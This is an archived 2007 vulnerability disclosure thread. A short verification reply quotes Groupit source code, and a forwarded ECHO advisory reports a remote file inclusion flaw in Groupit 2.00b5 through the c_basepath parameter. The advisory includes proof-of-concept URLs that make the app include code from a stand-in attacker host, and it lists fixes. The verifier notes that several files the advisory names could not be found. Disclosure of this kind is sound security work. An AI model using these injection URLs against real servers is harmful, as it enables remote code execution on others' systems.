[VIM] [ECHO_ADV_75$2007] Groupit 2.00b5 (c_basepath) Remote File Inclusion Vulnerability

[Ferdy Riphagen]

html/content.php contains:
<?
$c_category = !isset($c_category)? "":$c_category;
include "./basepath.php";
$c_module = "content";
include "$c_basepath/base/groupit.start.inc";

html/password.php has:
<?
$c_module = "password";
require "./basepath.php";
require "$c_basepath/base/groupit.start.inc";

deliver.php:
<?
$c_module = "deliver";
require "./basepath.php";
require "$c_basepath/base/groupit.start.inc";

After normal install basepath.php has (my case)
<?
$c_basepath = "/chroot/apache2/www/test/groupit/groupit";
$c_block_cache = 1;
?>

I couldn't find load.inc.php, userprofile.php, dispatch.php (or I need 
some sleep)
sources: 
http://fresh.t-systems-sfr.com/unix/src/privat2/groupit-2.00b5.tar.gz/



-------- Original Message --------

ECHO_ADV_75$2007

-------------------------------------------------------------------------------------
[ECHO_ADV_75$2007] Groupit 2.00b5 (c_basepath) Remote File Inclusion Vulnerability
-------------------------------------- ----------------------------------------------

Author		: Dedi Dwianto a.k.a the_day
Date Found	: March, 15th 2007
Location	: Indonesia, Jakarta
web		: http://advisories.echo.or.id/adv/adv75-theday-2007.txt
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: Groupit
version		: 2.00b5
URL		: http://fresh.t-systems-sfr.com/fresh/unix/src/privat2/groupit-2.00b5.tar.gz

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~

- Invalid include function at html/content.php
-----------------------html/content.php------------

<?
...
include "$c_basepath/base/groupit.start.inc";

if (!empty($c_is_search))
{
   include "$c_basepath/modules/search/main.inc";
} else
{
   if ($c_is_section)
   {
      include  "$c_basepath/modules/content/section.inc";
   } else
   .........
   
include "$c_basepath/base/groupit.stop.inc";
?>
----------------------------------------------------------

Input passed to the "$c_basepath" parameter in load.inc.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

also affected files :

html/userprofile.php
html/password.php
html/dispatch.php
html/deliver.php

and More ....



Proof Of Concept:
~~~~~~~~~~~~

http://localhost/groupit/html/content.php?c_basepath=http://atacker.com/inject.txt?
http://localhost/groupit/html/userprofile.php?c_basepath=http://atacker.com/inject.txt?
http://localhost/groupit/html/password.php?c_basepath=http://atacker.com/inject.txt?

Solution:
~~~~

- Sanitize variable $c_basepath affected files.
- Turn off register_globals

---------------------------------------------------------------------------

Shoutz:
~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy Nice Girl
~ az001,bomm_3x,matdhule
~ newbie_hacker at yahoogroups.com
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~
     EcHo Research & Development Center
     http://advisories.echo.or.id
     erdc[at]echo[dot]or[dot]id
     the_day[at]echo[dot]or[dot]id
     
-------------------------------- [ EOF ]----------------------------------